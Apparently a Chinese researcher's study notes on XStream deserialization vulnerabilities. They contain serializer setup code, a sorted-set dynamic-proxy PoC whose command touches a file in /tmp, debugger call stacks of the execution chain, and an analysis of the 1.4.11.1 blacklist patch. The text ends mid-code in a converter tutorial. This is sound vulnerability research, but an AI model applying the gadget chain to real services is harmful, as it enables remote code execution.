标题: XStream反序列化学习笔记 创建: 2019-12-04 14:00 更新: 链接: https://scz.617.cn/web/201912041400.txt -------------------------------------------------------------------------- 目录: ☆ XStream 1) Customer10Parent.java 2) Customer10.java 3) SerializeCustomer10.java 4) DeserializeCustomer10.java 5) DeserializeCustomer10Secure.java 7) 基于sorted-set的PoC(sorted-set.xml) 7.1) TreeSetConverter 7.3) DynamicProxyConverter 7.4) ReflectionConverter 8) DeserializeUsingXStream.java 9) ProcessBuilder.start()调用栈回溯 10) DeserializeUsingXStream1.java 10.1) xstream-1.4.11.1.jar的修补方案(InternalBlackList) 11) XStream Converters 11.1) Person.java 11.2) Birthday.java 11.3) BirthdayConverter.java 11.4) SerializeBirthday.java 11.5) DeserializeBirthday.java 12) 基于tree-map的PoC(tree-map.xml) 12.1) TreeMapConverter 12.2) ProcessBuilder.start()调用栈回溯 13) CVE-2013-7285 13.1) TicketService.xml 13.2) DeserializeTicketService.java 13.3) ProcessBuilder.start()调用栈回溯 14) CVE-2016-0792(XStream+Groovy) 14.1) map_old.xml 14.2) map.xml 14.2.1) ProcessBuilder.start()调用栈回溯 14.2.2) MapConverter 14.2.9) 简化版调用关系 14.3) CVE-2016-0792漏洞利用原理 14.3.1) 与InternalBlackList无关 14.4) groovy-all-2.4.9.jar无法利用成功 15) 基于linked-hash-set的PoC(linked-hash-set.xml) 15.19) ProcessBuilder.start()调用栈回溯 ☆ 参考资源 -------------------------------------------------------------------------- ☆ XStream 参[9] 1) Customer10Parent.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g Customer10Parent.java */ public class Customer10Parent { private String addr; public String getAddr() { return( this.addr ); } public void setAddr ( String addr ) { this.addr = addr; } } -------------------------------------------------------------------------- 2) Customer10.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g Customer10.java */ public class Customer10 extends Customer10Parent { /* * https://x-stream.github.io/tutorial.html * * XStream doesn't care about the visibility of the fields. */ private String name; private int age; private int id; /* * XStream does not limit you to having a default constructor. */ public Customer10 ( String name, int age, int id ) { this.name = name; this.age = age; this.id = id; } /* * No getters or setters are needed. */ public String getName () { return( this.name ); } public void setName ( String name ) { this.name = name; } public int getAge () { return( this.age ); } public void setAge ( int age ) { this.age = age; } public int getId () { return( this.id ); } public void setId ( int id ) { this.id = id; } } -------------------------------------------------------------------------- Customer10Parent、Customer10不需实现Serializable、Externalizable接口,不要 求无参构造函数,不要求set*()、get*()函数。 3) SerializeCustomer10.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." SerializeCustomer10.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeCustomer10 customer10.xml 0 * java -cp "xstream-1.4.10.jar:." SerializeCustomer10 customer10.xml 1 * java -cp "xstream-1.4.10.jar:." SerializeCustomer10 customer10.xml 2 */ import java.io.*; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.*; public class SerializeCustomer10 { private static XStream GetXStream ( int mode ) { XStream xs; switch ( mode ) { case 0 : /* * 依赖xpp3_min-1.1.4c.jar * * xpp3 is a very fast XML pull-parser implementation. */ xs = new XStream(); break; case 1 : /* * 不依赖xpp3_min-1.1.4c.jar * * standard JAXP DOM parser */ xs = new XStream( new DomDriver() ); break; default: /* * 不依赖xpp3_min-1.1.4c.jar * * integrated StAX parser */ xs = new XStream( new StaxDriver() ); break; } return( xs ); } public static void main ( String[] argv ) throws Exception { Customer10 obj = new Customer10( "yoda", 1024, 9527 ); obj.setAddr( "" ); int mode = Integer.parseInt( argv[1] ); FileOutputStream fos = new FileOutputStream( argv[0] ); XStream xs = GetXStream( mode ); xs.toXML( obj, fos ); fos.close(); } } -------------------------------------------------------------------------- 上例演示了三种初始化XStream实例的方式,第一种依赖xpp3_min-1.1.4c.jar,后两 种不依赖xpp3_min-1.1.4c.jar。 4) DeserializeCustomer10.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeCustomer10.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10 customer10.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10 customer10.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10 customer10.xml 2 */ import java.io.*; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.*; public class DeserializeCustomer10 { private static XStream GetXStream ( int mode ) { XStream xs; switch ( mode ) { case 0 : xs = new XStream(); break; case 1 : xs = new XStream( new DomDriver() ); break; default: xs = new XStream( new StaxDriver() ); break; } return( xs ); } public static void main ( String[] argv ) throws Exception { int mode = Integer.parseInt( argv[1] ); FileInputStream fis = new FileInputStream( argv[0] ); XStream xs = GetXStream( mode ); Customer10 obj = ( Customer10 )xs.fromXML( fis ); fis.close(); System.out.println ( String.format ( "name = %s\n" + "age = %d\n" + "id = %d\n" + "addr = %s", obj.getName(), obj.getAge(), obj.getId(), obj.getAddr() ) ); } } -------------------------------------------------------------------------- 上例演示了三种初始化XStream实例的方式,无论用哪种,反序列化时都依赖 xmlpull-1.1.3.1.jar。 $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeCustomer10 customer10.xml 0 $ cat customer10.xml <nonexist> yoda 1024 9527 前两种方式生成的customer10.xml一样,第三种方式生成的customer10.xml没有回车 换行,就一行。 $ java -cp "xstream-1.4.10.jar:." SerializeCustomer10 customer10.xml 2 $ cat customer10.xml <nonexist>yoda10249527 各种方式产生的customer10.xml,反序列化时可以交叉使用。 $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10 customer10.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. name = yoda age = 1024 id = 9527 addr = 5) DeserializeCustomer10Secure.java 本例演示如何消除反序列化时的安全告警: Security framework of XStream not initialized, XStream is probably vulnerable. GetXStream()演示了安全设置,这是1.4.7开始新增的特性。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeCustomer10Secure.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10Secure customer10.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10Secure customer10.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10Secure customer10.xml 2 */ import java.io.*; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.*; public class DeserializeCustomer10Secure { private static XStream GetXStream ( int mode, String[] pattern ) { XStream xs; switch ( mode ) { case 0 : xs = new XStream(); break; case 1 : xs = new XStream( new DomDriver() ); break; default: xs = new XStream( new StaxDriver() ); break; } /* * https://stackoverflow.com/questions/44698296/security-framework-of-xstream-not-initialized-xstream-is-probably-vulnerable * http://x-stream.github.io/security.html */ // /* // * clear out existing permissions and set own ones // */ // xs.addPermission( NoTypePermission.NONE ); // /* // * allow some basics // */ // xs.addPermission( NullPermission.NULL ); // xs.addPermission( PrimitiveTypePermission.PRIMITIVES ); // xs.addPermission( AnyTypePermission.ANY ); // xs.addPermission( NoTypePermission.NONE ); // xs.allowTypeHierarchy( Collection.class ); /* * to be removed after 1.5 */ xs.setupDefaultSecurity( xs ); /* * allow any type from the same package * * xs.allowTypes( new Class[] { a.class, b.class } ) * xs.allowTypesByRegExp( new String[] { ".*" } ) * xs.allowTypesByWildcard( new String[] { "com.a.package.*", "com.b.package.*" } ) */ xs.allowTypesByWildcard( pattern ); return( xs ); } public static void main ( String[] argv ) throws Exception { int mode = Integer.parseInt( argv[1] ); FileInputStream fis = new FileInputStream( argv[0] ); /* * 只是演示消除安全告警,请根据实际上下文修改之 * * Customer10.class.getPackage().getName() + ".*" */ String[] pattern = new String[] { "Customer10*" }; XStream xs = GetXStream( mode, pattern ); Customer10 obj = ( Customer10 )xs.fromXML( fis ); fis.close(); System.out.println ( String.format ( "name = %s\n" + "age = %d\n" + "id = %d\n" + "addr = %s", obj.getName(), obj.getAge(), obj.getId(), obj.getAddr() ) ); } } -------------------------------------------------------------------------- 除了allow*(),还有deny*()可用。 7) 基于sorted-set的PoC(sorted-set.xml) 参[10] 这是别人提供的PoC: -------------------------------------------------------------------------- foo java.lang.Comparable /bin/bash -c /bin/touch /tmp/scz_is_here start -------------------------------------------------------------------------- 根据sorted-set标签找到TreeSetConverter。 dynamic-proxy标签在XStream反序列化之后会得到一个动态代理对象,该对象实现了 interface标签指定的接口"java.lang.Comparable",可以有多个interface标签指定 多个接口;handler标签指定的"java.beans.EventHandler"对应 GeneralInvocationHandler2.java这种角色;通过该动态代理对象调用接口中声明的 方法compareTo()时,就会调用EventHandler.invoke()。 会调用dynamic-proxy.compareTo("foo")。 这个PoC适用于如下版本的XStream: 1.4.5 1.4.6 1.4.10 1.3.1及以下版本不支持sorted-set,所以不受此PoC影响。 XStream解析sorted-set.xml时用到5种Converter。 7.1) TreeSetConverter http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/collections/TreeSetConverter.html Converts a java.util.TreeSet to XML, and serializes the associated java.util.Comparator. The converter assumes that the elements in the XML are already sorted according the comparator. 7.3) DynamicProxyConverter http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/extended/DynamicProxyConverter.html Converts a dynamic proxy to XML, storing the implemented interfaces and handler. 7.4) ReflectionConverter http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/reflection/ReflectionConverter.html http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/reflection/AbstractReflectionConverter.html 8) DeserializeUsingXStream.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeUsingXStream.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 2 */ import java.io.*; import java.beans.EventHandler; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.*; import com.thoughtworks.xstream.security.*; public class DeserializeUsingXStream { private static XStream GetXStream ( int mode, String[] pattern ) { XStream xs; switch ( mode ) { case 0 : xs = new XStream(); break; case 1 : xs = new XStream( new DomDriver() ); break; default: xs = new XStream( new StaxDriver() ); break; } xs.setupDefaultSecurity( xs ); /* * xs.addPermission( AnyTypePermission.ANY ); * * 上面这句相当于移除所有安全限制。 * * 下面这句pattern中不要出现".*",否则相当于移除所有安全限制。 */ xs.allowTypesByRegExp( pattern ); return( xs ); } public static void main ( String[] argv ) throws Exception { int mode = Integer.parseInt( argv[1] ); FileInputStream fis = new FileInputStream( argv[0] ); /* * 只是演示消除安全告警,实际中务必指定最小pattern */ String[] pattern = new String[] { /* * Caused by: com.thoughtworks.xstream.security.ForbiddenClassException: java.lang.ProcessBuilder */ "java.lang.ProcessBuilder", /* * Caused by: com.thoughtworks.xstream.security.ForbiddenClassException: java.beans.EventHandler */ "java.beans.EventHandler", /* * Caused by: com.thoughtworks.xstream.security.ForbiddenClassException: com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy */ "com.thoughtworks.xstream.mapper.*" }; XStream xs = GetXStream( mode, pattern ); Object obj = xs.fromXML( fis ); fis.close(); } } -------------------------------------------------------------------------- $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0 Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: ---- Debugging information ---- cause-exception : java.lang.ClassCastException cause-message : java.lang.UNIXProcess cannot be cast to java.lang.Integer class : java.util.TreeSet required-type : java.util.TreeSet converter-type : com.thoughtworks.xstream.converters.collections.TreeSetConverter path : /sorted-set line number : 16 version : 1.4.10 ------------------------------- at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134) at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466) at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346) at DeserializeUsingXStream.main(DeserializeUsingXStream.java:66) Caused by: java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer at com.sun.proxy.$Proxy0.compareTo(Unknown Source) at java.util.TreeMap.put(TreeMap.java:568) at java.util.AbstractMap.putAll(AbstractMap.java:281) at java.util.TreeMap.putAll(TreeMap.java:327) at com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap(TreeMapConverter.java:122) at com.thoughtworks.xstream.converters.collections.TreeSetConverter.unmarshal(TreeSetConverter.java:126) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) ... 9 more 虽然抛出异常,但sorted-set.xml中指定的命令已经得到执行。 $ ls -l /tmp/scz_is_here DeserializeUsingXStream.java为了消除安全告警,使用了pattern。 Security framework of XStream not initialized, XStream is probably vulnerable. 尽管pattern不是".*",仍然带来一些问题。下面两条命令都会得手: $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0 $ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0 9) ProcessBuilder.start()调用栈回溯 $ java -agentlib:jdwp=transport=dt_socket,address=127.0.0.1:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8005 stop in java.lang.ProcessBuilder.start [1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] sun.reflect.misc.Trampoline.invoke (MethodUtil.java:71), pc = 7 [7] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [8] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [9] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [10] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [11] sun.reflect.misc.MethodUtil.invoke (MethodUtil.java:275), pc = 20 [12] java.beans.EventHandler.invokeInternal (EventHandler.java:482), pc = 418 [13] java.beans.EventHandler.access$000 (EventHandler.java:279), pc = 4 [14] java.beans.EventHandler$1.run (EventHandler.java:430), pc = 16 [15] java.security.AccessController.doPrivileged (native method) [16] java.beans.EventHandler.invoke (EventHandler.java:428), pc = 40 // 对应GeneralInvocationHandler2.java [17] com.sun.proxy.$Proxy0.compareTo (null), pc = 16 // 接口java.lang.Comparable中声明了方法compareTo() [18] java.util.TreeMap.put (TreeMap.java:568), pc = 141 [19] java.util.AbstractMap.putAll (AbstractMap.java:281), pc = 44 [20] java.util.TreeMap.putAll (TreeMap.java:327), pc = 101 [21] com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap (TreeMapConverter.java:122), pc = 107 [22] com.thoughtworks.xstream.converters.collections.TreeSetConverter.unmarshal (TreeSetConverter.java:126), pc = 224 [23] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [24] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:70), pc = 236 [25] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [26] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [27] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [28] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [29] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,486), pc = 36 [30] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,466), pc = 4 [31] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,346), pc = 12 [32] DeserializeUsingXStream.main (DeserializeUsingXStream.java:66), pc = 48 调用栈回溯中出现"com.sun.proxy.$Proxy0",这是动态代理机制。 10) DeserializeUsingXStream1.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeUsingXStream1.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 2 */ import java.io.*; import java.beans.EventHandler; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.*; public class DeserializeUsingXStream1 { private static XStream GetXStream ( int mode ) { XStream xs; switch ( mode ) { case 0 : xs = new XStream(); break; case 1 : xs = new XStream( new DomDriver() ); break; default: xs = new XStream( new StaxDriver() ); break; } /* * 不使用标准安全机制,执行时会有安全告警: * * Security framework of XStream not initialized, XStream is probably vulnerable. */ return( xs ); } public static void main ( String[] argv ) throws Exception { int mode = Integer.parseInt( argv[1] ); FileInputStream fis = new FileInputStream( argv[0] ); XStream xs = GetXStream( mode ); Object obj = xs.fromXML( fis ); fis.close(); } } -------------------------------------------------------------------------- $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. ... $ ls -l /tmp/scz_is_here DeserializeUsingXStream1.java没有使用标准安全机制,未指定pattern,执行时有 安全告警,但不影响漏洞利用。 xstream-1.4.11.1.jar不存在该漏洞: $ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Security alert. Unmarshalling rejected. ---- Debugging information ---- message : Security alert. Unmarshalling rejected. class : java.beans.EventHandler required-type : java.beans.EventHandler converter-type : com.thoughtworks.xstream.XStream$InternalBlackList path : /sorted-set/dynamic-proxy/handler line number : 5 class[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy required-type[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy converter-type[1] : com.thoughtworks.xstream.converters.extended.DynamicProxyConverter class[2] : java.util.TreeSet required-type[2] : java.util.TreeSet converter-type[2] : com.thoughtworks.xstream.converters.collections.TreeSetConverter version : 1.4.11.1 ------------------------------- at com.thoughtworks.xstream.XStream$InternalBlackList.unmarshal(XStream.java:2560) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.converters.extended.DynamicProxyConverter.unmarshal(DynamicProxyConverter.java:127) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readBareItem(AbstractCollectionConverter.java:132) at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:117) at com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection(CollectionConverter.java:98) at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:91) at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:85) at com.thoughtworks.xstream.converters.collections.TreeSetConverter$1.populateMap(TreeSetConverter.java:136) at com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap(TreeMapConverter.java:116) at com.thoughtworks.xstream.converters.collections.TreeSetConverter.unmarshal(TreeSetConverter.java:126) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134) at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1487) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1467) at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1347) at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43) 10.1) xstream-1.4.11.1.jar的修补方案(InternalBlackList) com.thoughtworks.xstream.XStream$InternalBlackList -------------------------------------------------------------------------- private class InternalBlackList implements Converter { public boolean canConvert(final Class type) { return (type == void.class || type == Void.class) /* * 如果启用了标准安全机制,InternalBlackList.canConvert()返回 * false,InternalBlackList.unmarshal()没机会执行,内置黑名单 * 不生效。 */ || (!securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."))); } public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { throw new ConversionException("Security alert. Marshalling rejected."); } public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { /* * 2560行 */ throw new ConversionException("Security alert. Unmarshalling rejected."); } } -------------------------------------------------------------------------- $ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in com.thoughtworks.xstream.XStream$InternalBlackList.canConvert Eclipse居然断不下来,jdb可以。不过这个断点不好,换一个: stop at com.thoughtworks.xstream.core.DefaultConverterLookup:77 (1.4.11.1版的行号) [1] com.thoughtworks.xstream.core.DefaultConverterLookup.lookupConverterForType (DefaultConverterLookup.java:77), pc = 85 [2] com.thoughtworks.xstream.XStream$1.lookupConverterForType (XStream.java:517), pc = 5 [3] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:56), pc = 20 [4] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [5] com.thoughtworks.xstream.converters.extended.DynamicProxyConverter.unmarshal (DynamicProxyConverter.java:127), pc = 197 [6] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [7] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:72), pc = 239 [8] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [9] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [10] com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readBareItem (AbstractCollectionConverter.java:132), pc = 14 [11] com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem (AbstractCollectionConverter.java:117), pc = 4 [12] com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection (CollectionConverter.java:98), pc = 4 [13] com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection (CollectionConverter.java:91), pc = 21 [14] com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection (CollectionConverter.java:85), pc = 5 [15] com.thoughtworks.xstream.converters.collections.TreeSetConverter$1.populateMap (TreeSetConverter.java:136), pc = 16 [16] com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap (TreeMapConverter.java:116), pc = 75 [17] com.thoughtworks.xstream.converters.collections.TreeSetConverter.unmarshal (TreeSetConverter.java:126), pc = 224 [18] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [19] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:72), pc = 239 [20] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [21] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [22] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [23] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [24] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,487), pc = 43 [25] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,467), pc = 4 [26] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,347), pc = 12 [27] DeserializeUsingXStream1.main (DeserializeUsingXStream1.java:43), pc = 25 locals type = instance of java.lang.Class(reflected class=java.beans.EventHandler, id=1261) converter = instance of com.thoughtworks.xstream.XStream$InternalBlackList(id=1264) 1.4.11.1的黑名单机制有点反直觉。canConvert()中有一些黑名单,如果匹配则返回 true,换句话说,命中黑名单时使用InternalBlackList这个Converter处理序列化、 反序列化;但InternalBlackList的marshal()、unmarshal()都是直接抛异常,于是 命中黑名单时无法序列化、反序列化。 com.thoughtworks.xstream.XStream.setupConverters() -------------------------------------------------------------------------- protected void setupConverters() { registerConverter( new ReflectionConverter(mapper, reflectionProvider), PRIORITY_VERY_LOW); registerConverter( new SerializableConverter(mapper, reflectionProvider, classLoaderReference), PRIORITY_LOW); registerConverter(new ExternalizableConverter(mapper, classLoaderReference), PRIORITY_LOW); registerConverter(new InternalBlackList(), PRIORITY_LOW); ... registerConverter(new TreeSetConverter(mapper), PRIORITY_NORMAL); ... registerConverter(new DynamicProxyConverter(mapper, classLoaderReference), PRIORITY_NORMAL); ... } -------------------------------------------------------------------------- InternalBlackList的优先级PRIORITY_LOW,高于ReflectionConverter的优先级 PRIORITY_VERY_LOW,DefaultConverterLookup.lookupConverterForType()会优先找 到InternalBlackList。当要寻找EventHandler的转换器时,会返回 InternalBlackList。 11) XStream Converters 参看: http://x-stream.github.io/converter-tutorial.html 11.1) Person.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g Person.java */ public class Person { private String name; public Person () { } public Person ( String name ) { this.name = name; } public String getName () { return( this.name ); } public void setName ( String name ) { this.name = name; } @Override public String toString () { return( getName() ); } } -------------------------------------------------------------------------- 11.2) Birthday.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g Birthday.java */ import java.util.*; public class Birthday { private Person person; private Calendar calendar; private char gender; public Birthday () { } public Birthday ( Person person, Calendar calendar, char gender ) { this.person = person; this.calendar = calendar; this.gender = gender; } public Person getPerson () { return( this.person ); } public void setPerson ( Person person ) { this.person = person; } public Calendar getCalendar () { return( this.calendar ); } public void setCalendar ( Calendar calendar ) { this.calendar = calendar; } public char getGender () { return( this.gender ); } public void setGender ( char gender ) { this.gender = gender; } } -------------------------------------------------------------------------- 11.3) BirthdayConverter.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." BirthdayConverter.java */ import java.util.Calendar; import com.thoughtworks.xstream.io.*; import com.thoughtworks.xstream.converters.*; public class BirthdayConverter implements Converter { public boolean canConvert ( Class clazz ) { /* * clazz.equals( Birthday.class ) * * We can use == operators for reference comparison * (address comparison) and .equals() method for content * comparison. In simple words, == checks if both objects point to * the same memory location whereas .equals() evaluates to the * comparison of values in the objects. */ return( Birthday.class == clazz ); } public void marshal ( final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context ) { Birthday obj = ( Birthday )source; if ( obj.getGender() != '\0' ) { 